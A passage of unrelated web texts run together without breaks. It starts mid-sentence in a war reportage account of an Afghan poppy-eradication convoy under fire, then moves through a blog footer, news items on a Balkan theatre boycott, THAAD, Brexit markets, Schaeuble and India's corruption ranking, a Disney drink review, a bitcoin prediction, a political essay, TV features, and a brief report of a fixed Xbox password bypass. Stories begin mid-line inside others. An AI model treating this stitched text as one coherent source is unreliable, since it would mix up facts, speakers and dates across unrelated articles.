packages. “Halal M.R.E.s,” Sherepita explained. “The kids love them.” He threw a few, and the children scrambled to retrieve them. Some opened them immediately and began eating the contents, while others threw them under the tires of the trucks to watch them get squashed. The area chosen for the day’s mission had been relayed to Wankel and the DynCorp team by the Dutch only the evening before. The drive, on the opposite bank of the river from the camp, took nearly two hours. We bivouacked on some sloping open ground above a village on a bluff. Below were poppy fields and the river; behind us was a row of bare hills and, a half mile or so farther away, the steep flanks of the mountains. Two helicopters, called Diablo One and Diablo Two, flew in and landed on the ground near us, disgorging a small group of television journalists, including Dutchmen and a couple of Australians, who were to film that morning’s eradication work. They stumbled toward us, clutching plastic water bottles and their gear, and were introduced to Doug Wankel, who led the way down the hill. Wankel climbed on the back of an A.T.V. driven by Mick Hogan to get across a stream at the base of the bluff, and, at the last minute, one of the Dutch newsmen got on, despite Hogan’s warnings that his weight would throw off the balance. The A.T.V. cleared the stream but toppled off the steep embankment on the other side. The Dutchman leaped clear; Wankel and Hogan were pitched into the field as the A.T.V. flipped over. Wankel was on his back, and both his legs were pinned under the vehicle. Several of us lifted the A.T.V. and saw that his legs had deep, ugly gashes; on one, the white bone of his shin was exposed. Hogan, unhurt, began cursing the Dutchman, who had vanished. Someone brought a stretcher, and Wankel, managing a pained smile, was carefully loaded onto it and carried to one of the choppers, which would fly him to the Tirin Kot base. Policemen were already busy whacking and crushing poppies, using sticks and A.T.V.s. They were spread out over several hundred metres. Unlike the day before, there were no children or any other civilians in sight.
As I walked along a trail between the poppy fields, gunshots rang out. Men began running, taking cover, and looking up toward the village on the bluff; the firing seemed to be coming from the mud-walled compounds there. Kelly, the ex-cop from Arizona, yelled at me to take cover. I headed toward a stand of trees with Aaron Huey, the photographer who was travelling with me; from there we could no longer see any other Americans. A group of six or seven Interior Ministry policemen—almost all of the local police had disappeared as soon as the shooting started—ran past with their guns drawn, and we followed. Moments later, we were in an open section of the village, and under fire. There were now twenty or so policemen, in small groups bunched up against mud walls, shooting in various directions. One of them had been shot in the shoulder and was bleeding. I tried, with Huey, to make a run for where I thought the American convoy was, but we were turned back by gunfire. Some of the policemen began pointing at a distant farm compound. “Dushman!”—enemy—one yelled. They fired an R.P.G. at the compound. The grenade exploded, sending up a large black burst of smoke and dust. Major Khalil appeared, leading a few of the policemen and a prisoner in a brown robe; they had tied his hands behind his back with his own shawl. Huey and I joined them as they made their way down an alley and toward the fields. When we were in the middle of the poppy field, Khalil screamed, “Taliban! Get down!” Then he and his men, firing their guns, advanced, with us among them. We could see the helicopters flying over the village and the river, seeming to leave the area. Several of the policemen asked me why they weren’t firing at our attackers. I didn’t know what to tell them. (Later, I learned that they were evacuating the television journalists.) As we approached a steep hill, from which the Afghan policemen were firing rockets and Kalashnikovs into the village, Khalil told everyone in our group to lift our hands and weapons in the air, and he began calling out loudly, identifying us to the policemen above us, telling them to hold their fire. As they covered us, we climbed the hill to join them. It had been about ninety minutes since the shooting began. As we looked for cover on the hill, Khalil directed his men to fire into the village. Bullets came cracking at us. The prisoner, his arms still bound, crouched next to me. There was a plume of black smoke; the men said that it was one of our vehicles burning. Khalil, seemingly panicked, ordered everyone to run. (He later told me that he had seen movement below and feared that the Taliban were about to surround us.) We headed for another hill, from which I was finally able to see the convoy, about a half mile away, across a wadi. A group of men had gathered in a large foxhole at the summit of our hill, and I spotted Mick Hogan, who was looking through his gun’s scope at the village below. I crawled up to him. Below us, I saw a man dressed in black move quickly through the village and dodge out of sight behind a wall. The men in the foxhole pounded bullets in his direction. Hogan told us to get to the convoy; the Americans wanted to pull out right away. As Huey and I headed down, one of the Afghans came running past us, pointing to a hole in his trousers where a bullet had just missed his leg. I congratulated him on his good luck. Then I spotted Kelly driving one of the white pickups and we got in with him. We had to get back across the river, but the route we had used that morning was too dangerous; some Afghan policemen had just been ambushed in an attempt to head that way. Our way to the river cut between two walled orchards, and the convoy, a long line of slow-moving trucks, was taking fire from both sides. Kelly called the helicopters on his radio, and soon we heard the grinding sound of the helicopters’ miniguns—.30-calibre machine guns that fire up to four thousand rounds per minute. When we reached the river’s edge, we saw that one of the white pickups was stranded in the water and some of the A.T.V.s were submerged. Men were clambering about—trying to hold on to vehicles, calling for towropes—and returning fire. Kelly stopped midstream to help them. Two of the A.T.V.s were towed out, but the others, and the pickup, were abandoned. The DynCorp men ripped the radio out of the pickup so that the Taliban wouldn’t take it. Kelly managed to get his truck to the other side, where the shooting continued. Nearby, a DynCorp crew had opened full automatic fire on a group of gunmen who had moved from deeper in the orchard to the treeline on the opposite bank and were shooting at us. Aaron Huey and I took cover behind a truck as Kelly joined the fight. Rockets exploded near the Diablos, and then the choppers disappeared. (They had both been hit several times, but made it back to the base in Tirin Kot, one with a fire on board.) After a few more minutes, the decision was made to retreat. The road was almost obscured by the dust kicked up by the trucks in front of us. We passed another orchard, and, again, there were gunshots from both sides of the road. In the back of our truck, Bulmaro Vasconcelos, a machine-gunner from Hemet, California, fired into the orchard with a heavy machine gun. I saw a military cap in the road in front of us, and then a man lying face down. We couldn’t tell if he was alive or dead, and swerved to avoid running over him. It was one of the Afghan policemen. Kelly yelled for the truck behind us to pick him up. A few seconds later, the window on Kelly’s side exploded and he yelled, “Shit! I’ve been hit!” He grabbed his leg, but kept driving, feeling the leg with one hand. He looked at the hand: there was no blood. The bullet, evidently slowed by the metal door, had not pierced his skin. “I’m all right,” he said. A bullet hit my side of the truck, and another struck the back. A minute or two later, we were out of the orchards and into more open territory, headed toward the camp. For the first time in four hours, there was no shooting. About ten minutes after we got back to camp, we heard loud explosions coming from the river. The Dutch had dispatched an Apache helicopter to destroy the abandoned pickup with a Hellfire missile. In addition to the man we had found in the road, who had been shot in the head and was barely alive, four Afghan policemen had been shot, of whom two were critically wounded. One was spouting blood from the femoral artery in his right leg. Another had been shot in the lung and the liver. Sylvester Pocius, known as Sly, another goateed DynCorp contractor, had been grazed on the neck by a bullet that ricocheted off the bolt of his gun. The wounded were rushed into camp for emergency treatment and driven to the Special Forces hospital. (A month later, the policeman who had been shot in the liver died of his wounds.) Later, Major Khalil said that he had been informed that eleven other Afghans were wounded and eight killed during the attack. There was conflicting information about the identities of the dead, and uncertainty about whether the reports were accurate, but the victims were said to have included an old woman, or possibly an old man, and a twelve-year-old girl.
The eradication team remained in camp under a tight security lockdown for ten days. The camp was set up like a kraal, with thirty-odd trucks parked in tight groups to form a large, fanlike defensive circle. Within this perimeter, the team members pitched their tents, with the DynCorp men in one area and, in another area, the Afghan police, some of whom slept on cots in the backs of trucks. Each group had its own cookhouse tent and its own toilet truck. The Americans also had a shower truck and a laundry truck. Beyond the camp, at each point of the compass, Nepalese Gurkhas hired by DynCorp maintained sentry positions in foxholes and in sandbagged machine-gun nests on
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awberries ‘n cream vegan overnight oats will also be happening. :)
Let's get social! Follow Angela on Instagram @ohsheglows, Facebook, Twitter, Pinterest, Snapchat, and Google+“A festival that gives such an honour to Emir Kusturica is making an ideological statement, accepting nationalistic rhetoric and giving it legitimacy,” Spahic wrote in a letter to the festival’s organisers.
Spahic said she was withdrawing her play ‘Grebanje ili Kako se ubila moja baka’ (‘Scratching, or How My Grandmother Killed Herself’) from the competition programme at the 58th Sterijino Pozorje Theatre Festival, which will take place in Novi Sad from May 25th to June 3rd.
The 27-year-old theatre director from Sarajevo, whose work on plays such as ‘Hypermnesia’, ‘Pobjeda’ (‘Victory’) and ‘Kako sam naucila da vozim’ (‘How I Learned to Drive’) has won praise from critics, juries and audiences at some of the biggest festivals in the region, explained that she was opposed to using art as a means of political propaganda.
In her letter, Spahic noted that since the end of the wars in the region, “generations of children have been breast-fed with nationalism, limited by hatred, exclusiveness and a lack of tolerance towards diversity, systematically impoverished in spirit and not taught to empathise with others”.
“Artists have an ethical duty to oppose nationalist rot and rhetoric in every way,” she concluded.
Kusturica, twice winner of the Palme d’Or at Cannes (for ‘When Father Was Away on Business’ and ‘Underground’) has been both praised for his work and criticised for his nationalist opinions.
He will speak at the opening of the prestigious theatre festival, whose jury will be led by actor Predrag Ejdus and will include playwright Stevan Koprivica, director Cisano Murusidze, theatre theorist Dragan Boskovic and set and costume designer Miodrag Tabacki.US launches a missile during a 2008 test of its Terminal High Altitude Area Defense (THAAD) system in Hawaii (AFP Photo/)
Russia on Tuesday warned the United States against sending a ballistic missile defence system to South Korea, saying it could threaten regional security.
Washington says it wants to deploy the system, known as THAAD, to South Korea as a deterrent to military provocation by North Korea.
"Such a development cannot but cause concern about the destructive influence of the United States' global missile defence on international security," Russia's foreign ministry said in a statement.
"In a region where the situation is already extremely complicated in terms of security, this could serve as another push toward an arms race in northeast Asia and further complicate any resolution of the nuclear issues on the Korean peninsula," the statement said.
China has also already warned that deployment of the system would undermine peace and stability in the region.
Faced with growing isolation from the West over the Ukraine crisis, Russia has moved to bolster ties with former Cold War-ally North Korea.
Moscow and Pyongyang have named 2015 a "year of friendship" between the two countries and the Kremlin says reclusive leader Kim Jong-Un is set to make his first official trip abroad to visit Russia's World War Two victory commemoration in May.
South Korea and the United States will launch a massive landing drill March 28 as the climax of an ongoing joint military exercise which North Korea views as an invasion rehearsal.Anna Pedraza, president of Catalonia's Paediatric Nursing Association, told the Catalan Parliament on Wednesday that the trend of undernourished mothers who are unable to breastfeed their babies is growing at an alarming rate in the region.
"There's been a lot of talk recently about children (in Spain) going hungry, but let's not forget about the mothers," Pedraza said in Parliament.
"They simply can't breastfeed because they're lacking all the nutrients."
According to the World Health Organization, babies should be breastfed for the first six months of their life rather than be given the artificial milk many mothers in Catalonia are now having to opt for.
The nursing association’s vice-president Cristina Rey pointed out that these young children then rely on food banks which “offer very little variety” of nutrients, a problem which directly "affects their growth".
Protein intake in their diets quadruples the healthy amount, Rey added.
A report by the Council of Europe Commissioner for Human Rights published last October describesd accounts of "children fainting at school due to lack of proper meals" and "wearing the same clothes at school for three consecutive weeks, due to poverty."
Don't miss stories about Spain, join us on Facebook and Twitter.1.6k SHARES Facebook Twitter
We made it out to Disney’s Hollywood Studios today to preview their holiday offerings. As part of Sunset Seasons Greetings, Sunset Blvd is stepping up their game with food and beverage offerings. Let’s try the Hot Cocoa Flight
Hot Cocoa Flight – $11.00
As pictured left to right, Bailey’s Salted Caramel Hot Chocolate made with Bailey’s Irish Cream, Hot Chocolate Martini made with Pinnacle Whipped Vodka, and the Black Cherry Bourbon Hot Chocolate made with Jim Bean Red Stag Black Cherry.
So how were they? We liked the Black Cherry the most as it offered a deepness of flavor that complimented the hot chocolate well.
Next was the Salted Caramel Hot Chocolate. It’s tough to rank these because they’re all really good, but we found the salt was a nice taste on the tongue when combined with chocolate. Finally, we have the Hot Chocolate Martini. This tasted like straight up hot chocolate. All of them really had a wonderful presiding flavor of hot chocolate that fans of the classic drink will enjoy immensely.The drinks are poured at order time and come out served very hot.Pixabay
The Bitcoin, known as the currency of the new technology age, could be one of the best investments you ever made.
Gone are the days when it was only used for dodgy dealings on the Dark Web, now it is a serious investment for businessmen.
We heard only last month that if you had bought $100 (£78) of bitcoin in 2010 at the 0.003 per cent price, you would now be sitting on a whopping $72.9 million (£56.9 million) now.
And now we’re hearing over the next decade how the current price of the bitcoin could rise from $2,200 (£1717) to $100,000 (£78,000), marking a 3,483 percent rise from its recent record high, CNBC reports.
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This staggering prediction comes courtesy of an analyst who correctly predicted the cryptocurrency’s meteoric rise this year.
Kay Van-Petersen was behind the call made in Saxo Bank’s annual report called ‘Outrageous Predictions’, which forecast that the bitcoin would hit $2,000 (£1,560) in 2017. And it did, only last month!Germany's Finance Minister Wolfgang Schaeuble makes remarks during a news conference during the IMF and World Bank 2014 Annual Spring Meetings in Washington, April 12, 2014. REUTERS/Mike Theiler
BERLIN (Reuters) - German Finance Minister Wolfgang Schaeuble on Tuesday branded the French National Front party fascist and extremist after the anti-immigrant Eurosceptics shocked Europe by coming first in France's European Parliament elections.
The victory of Marine Le Pen's FN was part of wider gains in the European vote by anti-EU parties which left the 28-member European Union licking its wounds. Anti-establishment parties from the left also made inroads.
In France, the FN not only topped a national vote for the first time but pushed ruling Socialists there into a lowly third place, prompting Prime Minister Manuel Valls to speak of a political "earthquake".
"Not only for our French colleagues, we have to (ask ourselves) what mistakes we made if a quarter of the (French) electorate voted for … not a right-wing party but for a fascist, extremist party," Schaeuble, speaking in English, told a conference in Berlin.
Le Pen has sought to rid the FN of its extremist reputation since she took the reins from her father in 2011. She campaigned on a platform of tighter borders, hostility to the euro currency and rejection of a planned EU-U.S. free trade deal. The FN calls itself a "patriotic" party and rejects the far-right label.
Her father Jean-Marie Le Pen once described the Nazi gas chambers as a "detail of history" and Le Pen herself has also been accused of inciting racial hatred for comparing Muslim street prayers to the occupation of France by Nazi Germany.
She has said that wherever racism exists within the ranks of the FN it has been punished.
Florian Philippot, vice-president of the National Front, urged President Francois Hollande to summon the German ambassador in Paris over Schaeuble's remarks.
"It's not up to a minister of another country, a German minister, to tell the French how to vote," he told France 5 television.
Referring to Schaeuble as an unconditional EU supporter, he added: "Those kind of people no longer respect the ballot box."
France was a founding member of the European Union but voters have grown increasingly disenchanted with the bloc's free-market and open-border policies in recent years, rejecting a proposed EU constitution in a 2005 referendum.
"(Europe) is not possible without Italy and it certainly is not possible without France," noted Schaeuble, a self-styled francophile.
The German conservative is no stranger to political controversy. Earlier this year he compared Russia's moves against Ukraine to Adolf Hitler's aggression in 1938 that led to the annexation of German-speaking regions of Czechoslovakia.
Reacting to the far right's triumph in Sunday's vote, French President Francois Hollande on Monday pledged to press ahead with reforms at home and pushed for the EU to change tack, saying voters felt Europe was not protecting them.
(Reporting by Annika Breidthardt in Berlin and Mark John and Gerard Bon in Paris; editing by Nicholas Vinocur)HONG KONG: The pound collapsed to a 31-year low and currency, equity and oil markets went into freefall Friday as projections showed Britain has voted to leave the European Union.
Sterling crashed more than nine percent to $1.3305, its weakest level since 1985, while the greenback itself slumped below 100 yen for the first time in two-and-a-half years as traders fled to safety.
In the weeks leading up to Thursday’s historic vote, there had been widespread warnings that a vote to leave would cause another rout across global markets that would wipe trillions off valuations, just months after a painful China-fuelled sell-off.
And as results came in, the doomsday scenario began to unfold as the BBC and other broadcasters called a win for “leave”.
The pound had earlier topped $1.50 following predictions the “remain” group would win but as the Brexit camp posted victories around the country, traders stampeded to put in sell orders.
The dollar slumped briefly to 99.02 yen, the first time it has gone below 100 yen since November 2013, before edging back up slightly. The Japanese unit is considered a safe bet in times of uncertainty and turmoil.
Japan’s Finance Minister Taro Aso will hold an emergency news briefing Friday. He has previously said Japan would closely watch the dollar-yen rate and act accordingly if the yen became too strong, indicating the government could intervene in currency markets.
A flight to safety also saw higher-yielding and emerging market currencies slump, with the Australian dollar down 3.2 percent, South Korea’s won diving 2.4 percent, Malaysia’s ringgit down 2.3 percent and the Indonesian rupiah shedding 1.7 percent.
There were also heavy losses for India’s rupee, the Canadian dollar and the Singapore dollar.
‘Independence day’
The outcome has upturned expectations, which had been for a tight race narrowly won by the “remain”, while bookmakers had said there was a 90 percent chance of staying in.
But as the shock results rolled in, equity markets went into meltdown.
Tokyo plunged more than eight percent in the afternoon, Sydney shed 3.7 percent and Seoul was 3.5 percent off. Mumbai lost three percent and Shanghai sank 1.4 percent by lunch, while Taipei, Wellington, Manila and Jakarta all saw sharp losses.
Hong Kong tumbled 4.7 percent by the break with British banking giants HSBC and Standard Chartered both plunging more than 10 percent.
In the early hours in Britain, Nigel Farage, leader of the anti-Europe UK Independence Party, declared victory, saying it was the country’s “independence day”.
The prospect of a severe hit to the global economy also hammered oil prices, with both main contracts slumping more than six percent.
“We are seeing oil swept up in the general market nervousness to the vote,” Ric Spooner, a chief analyst at CMC Markets in Sydney, told Bloomberg News.
“Corrections are likely to be fairly shallow in oil because prices will be supported by the fact a balanced market is firmly on the horizon.”
– AFPBy BAR managing editor Bruce A. Dixon
They say that elections do matter, and that there are real differences between Republican and Democratic presidents. But backing up the view to 30 years, that difference looks a lot more like continuity, both at home and in America's global empire.
Is This Barack Obama's 2nd Term or Bill Clinton's 3rd Term, or Ronald Regan's 9th?
By BAR managing editor Bruce A. Dixon
The answer is yes to all three. Ronald Reagan hasn't darkened the White House door in decades. But his policy objectives have been what every president, Democrat and Republican have pursued relentlessly ever since. Barack Obama is only the latest and most successful of Reagan's disciples.
Like the present era, the Reagan presidency marked a series of decisive rightward turns for US empire at home and abroad.
Reagan's invasion of Grenada, along with his bloody contra wars in Central America and southern Africa signaled the renewal of on and off the books of US military interventions when and wherever the logic of empire suggested, and regardless of namby-pamby concerns of human rights, domestic or international law. But if being a Republican means you can be a naked imperialist at home as well as abroad, being a Democrat like Barack Obama means making sufficiently ambiguous noises war and empire to enable corporate media and your own campaign to manufacture a false narrative of actual and substantive difference between Democrats and Republicans.
The first president Bush invaded Panama, and landed US troops in Somalia, a supposed “humanitarian” intervention. Bill Clinton massively increased the shipment of US military hardware and training to more than 50 of Africa's 54 nations, fueling the conflict in Congo which has taken 7 million lives to date. That's continuity of purpose and of policy.
In Barack Obama's case all he had to say was that he wasn't necessarily against wars, just against what he called “stupid wars.” Corporate media and “liberal” shills morphed that lone statement into a false narrative that Barack Obama opposed the war in Iraq, making him an instantly viable presidential candidate at a time when the American people overwhelmingly opposed that war. Once in office, Barack Obama strove mightily to abrogate the Status of Forces Agreement with Iraq which would have allowed US forces to remain there indefinitely. But when the Iraqi puppet government, faced with a near revolt on the part of what remained of Iraqi civil society, dared not do his bidding, insisting that uniformed US troops (but not the American and multinational mercenaries we pay to remain there) stick to the withdrawal timetable agreed upon under Bush, liberal shills and corporate media hailed the withdrawal from Iraq as Obama's “victory.”
Barack Obama doubled down on the invasion and occupation of large areas of Afghanistan, and increased the size of the army and marines, which in fact he pledged to do during his presidential campaign. Presidential candidate Obama promised to end secret imprisonment and torture. The best one can say about President Obama on this score is that he seems to prefer murderous and indiscriminate drone attacks, in many cases, over the Bush policy of international kidnapping secret imprisonment and torture. The Obama administration's reliance on drones combined with US penetration of the African continent, means that a Democratic, ostensibly “antiwar” president has been able to openly deploy US troops to every part of that continent in support of its drive to control the oil, water, and other resources there.
The objectives President Obama's Africa policies fulfill today were put down on paper by the Bush administration, pursued by Bill Clinton before that, and still earlier pursued by Ronald Reagan, when it funded murderous contra armies of UNITA in Angola and RENAMO in Mozambque. It was UNITA and RENAMO's campaigns, assisted by the apartheid regimes of Israel and South Africa that pioneered the genocidal use of child soldiers. Today, cruise missile liberals hail the Obama administration's use of pit bull puppet regimes like Uganda, Burundi and Rwanda, all of which shot their way into power with child soldiers, to invade Somalia and Congo, sometimes ostensibly to go after other bad actors on the grounds that they are using child soldiers.
If either George Bush, or if Ronald Reagan had openly deployed US troops to Africa on anything like the scale President Obama has, black America would be up in arms. They wanted to. They couldn't. It seems that now, by giving us a black president, the empire can get just about whatever it wants.
It works the same way at home. Ronald Reagan and the first George Bush would have liked to tamper with social security, but dared not. All Reagan could do was tell welfare queen jokes, and despite Reagan's open disdain of organized labor, NAFTA was a distant wet dream of corporations and billionaires. The first president Bush proposed NAFTA but could never get it through Congress. It took a Democratic president, Bill Clinton, who marshaled a minority of Democrats in Congress to vote with Republicans both to pass NAFTA and to eliminate welfare. It was Bill Clinton who publicly embraced Republican myths about balancing the US budget, while allowing liberals to imagine he would deliver a “peace dividend.” The second president Bush openly trumpeted right wing lies about the solvency of social security and the (lies which Barack Obama happily repeats to this day) and tried more than once to privatize it. Again, that's continuity across administrations and parties.
True to form, Obama picked the ball up where his predecessors left it and has run relentlessly righward ever since. Barack Obama uses the language of the elites when he calls social security, Medicaid and Medicare and other federal benefits “entitlements” and asserts that their growth must be trimmed. He championed the formation of a deficit reduction commission chaired by Democrat Erskine Bowles and Republican Alan Simpson, both advocates of privatizing social security and drastic cuts to Medicaid, Medicare and federal benefits and tried to fast-track their recommendation through Congress. Fortunately that recommendation never came.
Just last week, Obama offered as his opening position in negotiations with Republicans, the chaining of social security and all other federal benefits to the consumer price index --- a monstrous betrayal that will reduce social security benefits by as much as $100 monthly by a decade from now. It wasn't anything he had been cornered into by Republicans. It was the point from which Barack Obama decided to start. That's continuity. Only a Republican president, like Richard Nixon, could go to China in the 1970s. Only a black Democrat can break his promises to labor on championing a card check law, refute his commitments to a just and fair media with network neutrality, and do nothing to roll back the prison state which has engulfed black and brown youth. Only a black Democrat could deport more Latinos than all the last three Republicans together, in his first term alone.
In the game of advancing the interests of the American people, it seems, Democrats and Republicans are not mutual opponents. They are a tag team, each one pushing the ball further and further down the field in the wrong direction. It's still winter in America, and the dead hand of Ronald Reagan still guides this nation, decades after his exit from the White House. Welcome to the 9th term of Ronald Reagan, in the person of Democrat Barack Hussein Obama.
One could also argue, since we are in the grips of the greatest depression, although we don't call them that any more, since the 1930s, and Obama's economic policies bear more in common to Herbert Hoover than to Franklin Roosevelt, that we're living through Herbert Hoover's third term as well. But we'll save that for another day.Brittany Wagner binged on the screeners of Last Chance U Season 2, watching her own life tumble toward a chaotic job search that ended with her simply leaving East Mississippi Community College one afternoon, tears in her eyes. She got to that scene, the final one in an 8-episode series, at 4 a.m.
“Pitch-black outside,” she said. “The whole season in one night. What a feeling.”
Much of what Wagner goes through in Season 2, available starting Friday on Netflix, goes unspoken. The charismatic and forceful academic advisor no longer has a relationship with head football coach Buddy Stephens, which makes her efforts at helping his players even more difficult. And though the first season of the show brought her fame — and job offers — the single mother struggles to figure out what to do next with her life.
So she turns to the players. There in the office that became the setting for so much of the show (director Greg Whiteley simply planted a camera man there every single day), she asked them: What should I do?
“I think, first, they could sense that I had these frustrations,” she said. “But we had the sort of relationship — and you see this throughout the show — where it was built on talking about more than the schoolwork. You need to develop something deeper than that.
“And what they told me is what I told them, ‘Follow your dream. If there’s something you want to do, do it.”
And though Wagner originally left the tiny junior college where she had spent eight years to work in marketing for a Birmingham, Ala. food company she lasted only a few months in that job. She has since launched her own company, called 10 Thousand Pencils, which will offer academic counseling services to schools and athletes across the country. (Her most famous line from Season 1 was, “Do you have a pencil?” And she uttered it so frequently that fans of the show sent her more than 3,000 pencils — and a new desk chair.)
Wagner’s company will offer a wide range of services, but mainly she plans to do what she’s always done: Propel talented athletes who are struggling in school into their next chance at proving themselves. Though she oversaw 200 athletes at EMCC, she estimates she spent most of her time on the six to eight who combined Division I athleticism with an inability or unwillingness to keep up the grades needed to transfer to 4-year university. She wants to help those sorts of players — and the smaller schools that might end up dealing with them while lacking the resources deployed at big-money schools.
“A lot of these schools don’t have the money to pay for large staffs, and there’s only a few kids who really need the extra, full-time attention,” she said. “So hire me to do it. That’s what I do.”
She has already signed on to consult with a Division II conference to guide the counselors at those schools on dealing with incoming transfers. And she had a “guinea pig” this summer, a player headed off to college who needed extra assistance staying on the path toward qualifying — meaning Wagner could intervene before junior college became the last option.
And while Wagner will do most of this work remotely, without the face-to-face interactions that endeared her to millions of viewers, she believes the show has given her a unique ability to reach players.
“It might have taken me six months to a year to reach some guys,” she said. “It was that difficult, their walls were that high, they were so not into it. And I think that was the reaction of this kid when he was told he had a new advisor: ‘Someone else to yell at me.’ … When his coach told him it was Miss Wagner, that changed. He loved the show and he’d seen me working with players and he understood that, he was open with me from the beginning and very honest about his own weaknesses and what we could do to fix them. He bought right in and usually that’s half the battle.”
The idea for 10 Thousand Pencils didn’t arise from Last Chance U — she’d been dreaming of finding a way to do her work independent from an athletic department for a while — but the show enabled her to make the leap. She had become personally unhappy in Scooba (population around 700) and wanted more for her 8-year-old daughter, Kennedy. She also felt stifled by Stephens.
“You’re tied to a coach,” she said. “You’re almost tied to his philosophy. Everything about it — it’s how he runs the institution, his message — comes from him.”
The hard-charging coach’s attempts at change — he hated what he saw of himself in Season 1 — become a theme of the second season, and Wagner grows increasingly skeptical as the year goes on.
She is careful — and precise — when discussing her frustrations with Stephens.
“When you value other people, when you value other people’s life and dreams and goals and just the fact that they’re standing in front of you and you are working with them every day, when you really value them as people, I don’t think you have to have this list of what you’re not going to do,” she said. “I don’t think you have to do pushups every time you cuss if you’re really valuing your job and your influence and the people you’re working with. I think that, to me, was my issue with him. It was always surface-level things that he was trying to change and it seemed to me that he was changing them for the perception of everyone else but he wasn’t learning to value himself — you can’t value other people until you value yourself — but he wasn’t learning to value the people that helped him build that program, which would have been myself and his assistant coaches and our administration, our teachers, our staff members, the people of East Mississippi that helped him build the program. And then he wasn’t valuing the players that he was bringing in there.”
Wagner is shown speaking with Stephens’ assistants in Season 2, many times chafing at how they’re dealing with players or confused by the messages coming from the football office. She told me she thinks Stephens enabled one player — Kam Carter — by undermining the tough-love stance taken by defensive line coach Davern Williams.
She ultimately decided to leave because she felt “trapped” in Scooba and was tired of “working against” Stephens. She also felt the show’s popularity was a gift and that it was her duty to use the platform: “I just kept thinking I have to do more, I have to do more, I have to do more.”
But she was hurt by how it all ended. Wagner and Stephens haven’t spoken in more than a year, she said, and there’s no evidence of them communicating in the documentary (director Greg Whiteley always checked to see if they had meetings planned, and there were none). Stephens never said thank you — or even goodbye — when Wagner left.
“That’s disappointing,” she said, “because I put a lot of blood, sweat and tears into that program and those players and helping him — I think — win national championships and change lives. To not feel like he values or appreciates it or respects it is disappointing. It doesn’t change what I did. I feel good about it myself and I know that it’s important work and that it was appreciated by other people, and I know that lives have been changed and that those relationships are in tact.”
Wagner is in New York this week to celebrate the premiere of the second season; Stephens is not attending.
The strained relationship between her and Stephens is only one reason that Season 2 feels “heavier,” as Wagner put it. Returning to Scooba for a second year deepens the relationship with the viewer, and it’s no longer as easy to be charmed by the scenery or Buddy’s outbursts or the latest excuse from a player who hasn’t written a paper that’s past due. The honeymoon has ended, the shine has dimmed on this small town and the character studies have deepened.
“I think the season did miss some of the relationships formed, where I worked so closely with these guys and we really bonded,” Wagner said. “There’s not as much of that; it’s not part of the focus as much.
“But I think if you watch the whole series all the way through, it’s just so powerful. The life lessons, and how real it feels at the end, I hope that stays with people.”Stephen Amell took to the press line at San Diego Comic-Con having already started filming Arrow season five. The star has been blunt in the last few months about his intentions for the show: a return to what made it strong in the first place. That means a grounded approach, a "back to the basics" mentality, and less of the super-powered and magical world that some of the other shows in the CW DC Universe can explore.
"Thus far, [I'm] very much so [happy]," Amell told Comicbook.com about the direction of season five. "There haven't really been any cliffhangers; this season feels very grounded and very patient to me. It's a patience that's earned over the course of a couple of years. If you produce a quality episode, someone doesn't need to appear from the grave at the end," the actor said with a smile. "It feels very much like we are taking our time and really setting things up for everything to just go f***ing crazy in the second half of the year."
Of course, Oliver Queen will start the season as Mayor of Star City, along with being Green Arrow without his typical team behind him. "Oliver's doing a sh*t job as Mayor," Amell laughed while saying. "He's not doing a good job. He ran for the Mayoral office and got elected (unopposed) based on a lot of heartfelt sentiment, but because he is alone, and doesn't have his team, he doesn't have time to be the Mayor. So Thea's basically doing all that stuff for him."A 5-year-old boy has been rewarded by Microsoft after discovering a way to bypass the Xbox One’s security and logged in to his father’s account without the correct password.
As reported on the BBC, San Diego child Kristoffer Von Hassel attempted to log in to his father’s Xbox Live account with an incorrect password. Users are taken to a second verification screen after entering a wrong password, and Kristoffer found that filling up the password field with spaces on the second screen grants access to the account.
Kristoffer’s father, Robert, who works in computer security reported the issue to Microsoft and the company has rewarded Kristoffer by giving him four free games, $50, a 12-month subscription to Xbox Live and also added him to its list of recognized security researchers.
When asked what he thought would happen after his father reported the flaw to Microsoft, Kristoffer told local news station KGTV: “I thought someone was going to steal the Xbox.”
“We’re always listening to our customers and thank them for bringing issues to our attention,” Microsoft said in a statement. “We take security seriously at Xbox and fixed the issue as soon as we learned about it.”
(via Gamespot)India moved up to the 76th rank on the Corruption Performance Index (CPI) released by global watchdog Transparency International (TI) in their 2015 report, gaining nine places over the previous year. The CPI scores and ranks countries/territories based on how corrupt a country’s public sector is perceived to be, and it showed that India was ranked 76 out of a total of 168 countries and had a score of 38 on the CPI out of a possible 100. In 2014 and 2013, India’s rank was 85 and 94 respectively.
For a third year running, Denmark was perceived as the cleanest country with a score of 91. Finland, Sweden, New Zealand and Netherlands made up the rest of top five cleanest countries globally. The CPI has a scale of zero to 100 and countries scoring zero are the most corrupt while the ones scoring a 100 are the cleanest. India has scored 38 on this scale, same as 2014, but it moved up in rank as other countries seem to have not performed well, an associate from TI India explained.
India though does not have much to cheer about as neighbouring Bhutan has achieved a much better ranking of 27. Countries facing strife and conflicts were found at the bottom of CPI. Somalia fared the worst along with North Korea, Afghanistan and Sudan. The global watchdog evaluates the CPI based on data provided by 12 sources who are experts in analysing business and governance climates. The Global Insight Country Risk Ratings, World Bank - Country Policy and Institutional Assessment 2014, World Economic Forum Executive Opinion Survey (EOS) 2015 were some of the sources used for calculating the CPI.
According to TI’s analysis, the Americas territory and Asia-Pacific region has witnessed several large-scale anti-corruption movements and cases of public corruption and countries from both territories are faring poorly on the CPI. In fact all the emerging economies from the BRICS grouping -- Brazil, Russia, India, China and South Africa -- have scored less than 50 on the CPI with Brazil’s score sliding down. As per the report, nearly 53 per cent of countries have scored less than 50, indicating a serious corruption problem across the globe.Rockstar Games' crime epic Grand Theft Auto 5 has become the biggest selling video game in the UK thanks to the release of a remastered next gen version last week.
According to sales trackers GfK Chart-Track the PlayStation 4 and Xbox One versions were enough to topple the game past previous record holder Call of Duty: Black Ops with their opening day sales alone.
Last year's original PS3 and Xbox 360 versions already holds the record for the highest-grossing game in a week having made around £94 million during its launch week last year.
The next gen GTA V sold 58% of its copies last week on PS4, with 41% coming from Xbox One sales and the remaining 1% from Xbox 360.
Exact details on how much GTA V made over the past week aren't yet known, but it did well enough to top the UK sales chart and fend off stiff competition from Ubisoft's Far Cry 4, which entered at number two.
Chart Track added that Far Cry 4 was "by far the most successful" in the series when it comes to first week sales. Call of Duty: Advanced Warfare is at three, Fifa 15 holds at four and the other big newcomer of the week – Dragon Age: Inquisition – enters at five.
